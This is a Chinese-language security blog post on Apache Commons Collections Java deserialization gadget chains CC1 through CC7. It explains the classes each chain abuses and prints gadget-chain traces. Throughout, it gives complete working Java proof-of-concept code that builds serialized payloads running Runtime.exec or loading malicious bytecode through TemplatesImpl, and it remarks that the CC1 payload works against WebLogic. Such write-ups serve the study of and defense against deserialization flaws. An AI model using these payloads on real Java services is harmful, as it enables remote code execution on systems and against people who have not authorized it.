Java反序列化之 Common-Conllections

这里总结了一下 CommonCollections 的相关利用链

CC1

影响版本:

CommonsCollections 3.1 – 3.2.1

jdk 1.7

因为 jdk 8 没有 setValue 操作,因此链断了。

Transformer

是 org.apache.commons.collections 包下的 Transformer 接口。只定义了一个 transform 方法

image-20221114103455212

ConstantTransformer

ConstantTransformer 实现了 Transformer 接口。它的 transform 方法会直接将构造器传入的 Object 对象返回。我们利用的话将会使用它返回 Runtime 的 Class 的对象

idea64_b73sVCi2Rz

InvokerTransformer

InvokerTransformer 也实现了 Transformer 接口。它的 transform 方法就比较强了。能够通过传入对象的方式反射的方式调用任意方法。

image-20221114104334767

而它的构造器又是方法名、参数类型、参数值都是我们可控的,对应的对象只需要通过 transform 传入即可

image-20221114104415068

具体的属性变量定义

image-20221114104443590

稍微写一下代码演示

image-20221114105007441

ChainedTransformer

可以用 InvokerTransformer 执行任意任意对象的任意方法,但在反序列化过程中我们不能直接传入 Runtime 对象,因为 Runtime 类没有实现 Serializable 接口不能被序列化(当然有些序列化器是可以不要求的,比如 hessian、kryo 等)。而 ChainerTransform 类提供了一些方法有助于我们能够使用 Runtime 类的 getRuntime 方法获取 Runtime 实例

顾名思义,就是 Transhformer 的链。它同样也实现了 Transformer 接口。它的 transform 方法通过传入的对象,再借用自己的 Transform 数组进行调用 transform 然后赋值新的 Object 。就好像是一个链一样串起来。它的构造器就是接收一个 transform 数组

idea64_Nz3WhCyHew

那么也就可以这样

package org.example.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;

public class CC_1 {
    public static void main(String[] args) throws IOException {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers_exec);
        chain.transform(""); // 直接调用 ChainedTransformer 的 transform 方法
    }
}

TransformedMap

构造好命令执行链,也就是要看看哪里可以调用的到 transform 方法的类。

这个类中的 checkSetValue 方法中调用了 transform ,并且这个方法会再使用 setValue 方法的时候自动调用

image-20221114110604551

而 valueTransformer 是这个类的属性,我们可以控制

image-20221114110636027

但是这个类中并没有 setValue 方法,因此我们查看它继承的父类 AbstractInputCheckedMapDecorator 方法可以找到 setValue 方法

image-20221114110903533

而 AbstractInputCheckedMapDecorator 的父类就是 AbstractMapDecorator 这个类实现了 Map

image-20221114111053232

所以只需要找到 readObject 中调用了 Map 的 setValue 方法,然后就用了 AnnotationInvocationHandler 的动态代理利用链。但是我 JDK 1. 8 没有这个类,下载的 JDK 1.7 也无法在 IDEA 上编译运行。(现在还有谁用 Jdk 1.7? 但还是放一下完整 POC,测试打 WebLogic 还是挺有效的

    @Test
    public void CC_1() throws ClassNotFoundException, IOException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        hashMap.put("value", "value");
        Map decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(new Class[]{Class.class, Map.class});
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(new Object[]{Retention.class, decorateMap});
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(instance);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        try(ByteArrayInputStream in = new ByteArrayInputStream(bytes);
            ObjectInputStream objectInputStream = new ObjectInputStream(in)) {
            objectInputStream.readObject();
        }
    }

故此 cc1 链就到这结束了….

CC3

ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        InstantiateTransformer.transform()
                            TrAXFilter.TrAXFilter(template) 
                                TemplatesImpl.newTransformer()
                                    TemplatesImpl.getTransletInstance()
                                        EvilClass.newInstance()
                                    ....

该链的出现是为了对抗黑名单的。通过 TemplatesImpl 的 _bytecodes 的属性直接加载恶意字节码的方式利用

原本是限制在 jdk 1.7 的但是经过我的优化,支持 jdk 1.8 了。后半部分不走动态代理,走 badAttributeValueExpException -> tiedMapEntry

利用版本:CommonsCollections 3.1 – 3.2.1。

TemplatesImpl

Java 加载类先是调用 loadClass 在类缓存、父类等位置寻找类,但是在 loadClass 时没找到类会调用 findClass 方法。findClass 的作用可以根据 URL 指定的方式来加载类的字节码。将字节码交给 defineClass,defineClass 将传入的字节码处理为 class

该链主要利用 TemplatesImpl 的 newTransformer 方法

image-20221020110424978

注意到在 newTransformer 方法中调用本类的 getTransletInstance 方法

image-20221020110638917

为了绕过黑名单 InvokeTransformer, 我们寻找到了 TrAXFilter 类。这个类的构造方法中会调用 newTransformer 方法。

image-20221116100257111

InstantiateTransformer

而在 InstantiateTransformer 类中的 transform 方法中会通过反射获得类的构造器方法然后调用 newInstance

image-20221116100544567

接下来就是通过 BadAttributeValueExpException … LazyMap 类触发 InstantiateTransformer 的 transform 方法了

poc:

package org.example.poc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC_3 {
        public static void main(String[] args) throws Exception {
            TemplatesImpl templates = new TemplatesImpl();
            byte[] bytecodes = Files.readAllBytes(Paths.get("Calc.class"));
            setFieldValue(templates,"_name","TemplatesImpl");
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            setFieldValue(templates,"_bytecodes",new byte[][]{bytecodes});
            setFieldValue(templates,"_transletIndex",0);
            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
            HashMap hashMap = new HashMap();
            Map lazyMap = LazyMap.decorate(hashMap, instantiateTransformer);
            TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class);
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());
            setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(badAttributeValueExpException);
            objectOutputStream.close();
            String encode = Base64.encode(byteArrayOutputStream.toByteArray());
            System.out.println(encode);
        }

        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }

CC5

    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

该链的出现解决了 CC1 jdk 版本限制的问题

利用版本 CommonsCollections 3.1 – 3.2.1

JDK 无限制

与 CC1 链前面的构造 transform 命令执行链一样,也是要找一个类能够实现 transform 方法的类,而这里也找的是 LazyMap 类,LazyMap 也实现了 Map 接口,在它的 get 方法中会对 key 进行 transform 。

image-20221114121402138

而创建这个对象可以通过调用这个类的 decorate 方法传入一个 Map 对象和 Transform 类。factory 属性就是 Transformer

image-20221114121635619

接下来就要找到能够在反序列化过程中自动调用 get 方法触发这个 LazyMap 的调用。此时与 CC1 链不同的是这里触发 get 方法不是用的动态代理,而是找的是 TiedMapEntry

public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
    public Object getKey() {
        return this.key;
    }
    public Object getValue() {
        return this.map.get(this.key);
    }

而且这个类中的 toString 方法被重写了,调用了类本身的 getValue 方法

 public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

现在只需要想办法找到能够将 TiedMapEntry 当作字符串的地方就行了。而在 BadAttributeValueExpException 类的 readObject 方法中正好有相关的调用

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

最终形成了 poc

public class Exp {
    public static void main(String[] args) throws  IllegalAccessException, NoSuchFieldException, IOException {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers_exec);
        HashMap innerMap = new HashMap();
        // innerMap.put("value","asdf");
        Map lazyMap  = LazyMap.decorate(innerMap, chain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
        // 通过反射给 badAttributeValueExpException 的 val 属性赋值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        FileOutputStream fileOutputStream = new FileOutputStream("./exp.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        fileOutputStream.close();
        objectOutputStream.close();
    }
}

CC6


    HashSet.readObject
        HashMap.put()
            HashMap.hash()
                TiedMapEntry.hashCode()
                    TiedMapEntry.getValue()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                        ConstantTransformer.transform()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Class.getMethod()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Runtime.getRuntime()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Runtime.exec()

影响版本:CommonsCollections 3.1 – 3.2.1

JDK 无限制

CC6 与 CC5 类似,也是找到了 TiedMapEntry 的 getValue 方法来触发 LazyMap 的 get 方法。但是并不像 CC5 一样走的是 TiedMapEntry 的 toString 方法来触发,而是看到了 TiedMapEntry 的 hashCode 方法。

image-20221114163927401

而 HashMap 的 put (key, value)方法中调用了 hash(key) 方法,而 hash 方法调用 key 的 hashCode 方法

image-20221114164126767

image-20230203232840336

接下来也就是找到能够在 readObject 方法中调用 Map 的 put 方法的类,也就是 HashSet

image-20221114164406678

但是似乎 map 属性我们不太可控,HashSet 的 map 成员变量是被 transient 修饰。这时注意到 HashSet 的 writeObject 方法,会将 map 中的所有 key 全部写入,然后又在 readObject 的时候将 key 放入到新生成的 map 调用了 map.put(key, value)。也就是说,只需要保证在 writeObject 的过程中有我们 TiedMapEntry 作为 key 写入,那就会调用到 TiedMapEntry 的 hashCode 方法

image-20221114170057403

涉及到 Map hash 的操作赋值总是存在一点小问题,具体编写 POC 看相应的注释

完整 POC

package org.example.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC_6 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);


        HashMap innerMap = new HashMap();
        // innerMap.put("value","asdf");
        LazyMap lazyMap  = (LazyMap) LazyMap.decorate(innerMap, new ChainedTransformer(new Transformer[]{}));
        //LazyMap lazyMap  = (LazyMap) LazyMap.decorate(innerMap, chain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");


          HashSet hashSet = new HashSet(1);
//
          hashSet.add(tiedMapEntry);
        // 由于在 hashSet.add 时会触发一次利用链,因此我提前将第一次给 lazyMap 的 factory 是无害的 Transform,hashSet add 以后才给 lazyMap 的 factory 重新赋值
        // 又由于 我们在生成 lazyMap 的时候已经将一对 Key 和 Value 传入了,而触发 lazyMap get 方法中的 factory.transform 条件是 key 不存在,因此需要情况清空一下 key 
        lazyMap.clear();
        setValue(lazyMap,"factory",chain);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(hashSet);
        oos.close();

        System.out.println(byteArrayOutputStream);
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();

    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image-20221114200816998

CC7


...
HashTable.readObject()
    HashTable.reconstitutionPut()
        HashMap.equals()
        LazyMap.equals()
            LazyMap.get()
            ChainedTransformer.transform()
                                        ConstantTransformer.transform()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Class.getMethod()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Runtime.getRuntime()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Runtime.exec()

与 CC6 类似,一样是要触发 LazyMap, 但是不像 CC6 找的是 TiedMapEntry 而是 HashTable。

注意到 HashTable 的 readObject 方法从反序列化流中读出所有的 key-value 然后传入 reconstitutionPut 中

image-20221115150254626

跟进该方法发现存在 key 的 equals 方法调用,而这个 key 我们会让它为 LazyMap。

image-20221115153751814

LazyMap 中并没有定义 equals 方法,而在其父类 AbstractMapDecorator 中进行了定义

该方法可以尝试调用 map 的 equals 方法

image-20221115154112960

而 map 便是我们在创建 lazyMap 的时候传入的 HashMap。而在 HashMap 中同样也没有定义 equals 方法,因此我们也需要取 HashMap 的父类去查看

可以看到这里会存在 get 方法调用的可能。而 m 就是我们在 reconstitutionPut 第二次传入的值 LazyMap

image-20221115154502171

完整 POC

package org.example.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.Map;

public class CC_6 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_exec);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, new ConstantTransformer(0));
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, new ConstantTransformer(0));
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        setValue(lazyMap1,"factory",chainedTransformer);
        setValue(lazyMap2,"factory",chainedTransformer);
        lazyMap2.remove("yy");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();


    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

  1. 为什么 hashMap 要 put 两次 lazyMap?

第一次调用 put 的时候会把 key 和 value 存入 tab 中(这里的 tab 就是 reconstitutionPut 函数传入的 table),在第一次 put 的时候由于 tab 的内容为 null 导致不会进入 for 循环,所以自然就不会执行 equals ,在第二个红框处会先将我们的值存入 tab

image-20221115161027759

由于第一次 put 将数值存入了 tab ,所以第二次 put 时就会进入 for 循环,来到我们的触发点

  1. 为什么 Put 的值是 yy 和 zZ?

同样的还是 reconstitutionPut 函数里的问题,前面说到我们会 put 两次,那么自然 index 这里计算也会进行两次,那么如果第一次和第二次计算出来的 hash 值不同,那么 index 就会不同,就会导致在第二次中 tab 中会找不到值,从而 e 为 null,自然不会进入 for 循环,就不会触发 RCE。而刚好 yy 和 zZ 的 hashCode 相同

image-20221115161158368

  1. 那为什么不传入两个相同的值,不也 hashCode 相同吗?

elements 为 1 那么自然循环只会进行一次,reconstitutionPut 也就只会被调用一次,前面说到过我们需要第二次调用 reconstitutionPut 函数才会触发,所以这就是为什么我们传入的值不能相同的原因

image-20221115161331855

image-20221115161342416

参考:http://wjlshare.com/archives/1535

CC2

...
PriorityQueue.readObject
    PriorityQueue.heapify
        PriorityQueue.siftDown
            PriorityQueue.siftDownUsingComparator 
                TransformingComparator.compare
                    InvokerTransformer.transform()
                            Method.invoke
                                templates.newTransformer
                                    ...
                                        EvilClass.newInstance

影响版本 commons-collections4 4.0

JDK 版本无限制

commons-collections官方为了修复一些架构上的问题推出了commons-collections4。两者的包名不一样,可以在同一个项目上同时包含commons-collections和commons-collections4。

CC2 与 CC4 跟之前的几条链不一样,是因为这两条链是针对 commons-collections4。

CC2 与 CC3 类似,也是通过加载恶意的字节码的方式利用

TransformingComparator

在这个类的 compare 方法存在 transform 的调用

image-20221115163009384

而这个类的构造器 transformer 属性也是我们可以控制的

image-20221115163216290

你问我为什么在之前的 CommonCollections 3.1-3.2.1 不用这个类 TransformingComparator 在 3.2.1 的版本上还没有实现 Serializable 接口,其在 3.2.1 版本下是无法反序列化的。

PriorityQueue

这个是 Java 的工具类。该类实现了 Queue 接口,可以对元素进行排序。我们先来看看它的 readObject 方法

image-20221115163658414

调用了 heapify 方法,看看这个方法是干嘛的

image-20221115163734127

又对队列中的元素调用了 siftDown 方法

image-20221115163836121

siftDown 方法又调用了 siftDownUsingComparator 方法

image-20221115164443115

>>> 是无符号右移运算符,从而 half 便是队列长度的一半,如果 k 是 0 那么 child 就是 1 从而 c 是第二个元素,x 便是第一个元素(与 k 一致)

而如果我们设置 compartor 为之前提到的 TransformingComparator ,x 为 Transform 类那么在 readObject 的时候就会触发 RCE

看看 PriorityQueue 的构造器,compartor 是我们可以控制的

image-20221115165459602

POC 有点细节需要注意

package org.example.poc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.transforms.Transform;
import javassist.ClassPool;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC_2 {
    public static void main(String[] args) throws Exception {
        //TransformingComparator
        TemplatesImpl templates =new TemplatesImpl();
        setValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(org.example.poc.Evil.class.getName()).toBytecode()
        });
        setValue(templates, "_name", "HelloTemplatesImpl");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 因为在 add 的时候会调用 invokerTransformer 的 transform 方法,而我们添加的时候是添加整型,因此要设置的是 toString
        InvokerTransformer invokerTransformer = new InvokerTransformer("toString",null,null);

        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        //transformingComparator.compare(templates,templates);
        PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        setValue(invokerTransformer,"iMethodName","newTransformer");
        // templates 放在第一个位置
        setValue(priorityQueue,"queue",new Object[]{templates,1});
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CC4

...
PriorityQueue.readObject
    PriorityQueue.heapify
        PriorityQueue.siftDown
            PriorityQueue.siftDownUsingComparator 
                TransformingComparator.compare
                    InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    EvilClass.newInstance()

CC4 借鉴了 CC3。与 CC2 前半截触发一样只不过 Transformer 换成了 InstantiateTransformer。变成用 TrAXFilter 的构造方法调用 templates 的newTransformer 方法。

POC:

package org.example.poc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javassist.ClassPool;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC_4 {
    public static void main(String[] args) throws Exception {
        //TransformingComparator
        TemplatesImpl templates =new TemplatesImpl();
        setValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(org.example.poc.Evil.class.getName()).toBytecode()
        });
        setValue(templates, "_name", "HelloTemplatesImpl");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"asdasd"});

        TransformingComparator transformingComparator = new TransformingComparator(instantiateTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
        priorityQueue.add(String.class);
        priorityQueue.add(String.class);

        setValue(instantiateTransformer,"iParamTypes",new Class[]{Templates.class});
        setValue(instantiateTransformer,"iArgs",new Object[]{templates});
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        Object[] queues= (Object[]) field.get(priorityQueue);
        queues[0]=TrAXFilter.class;
        queues[1]=1;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

end

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇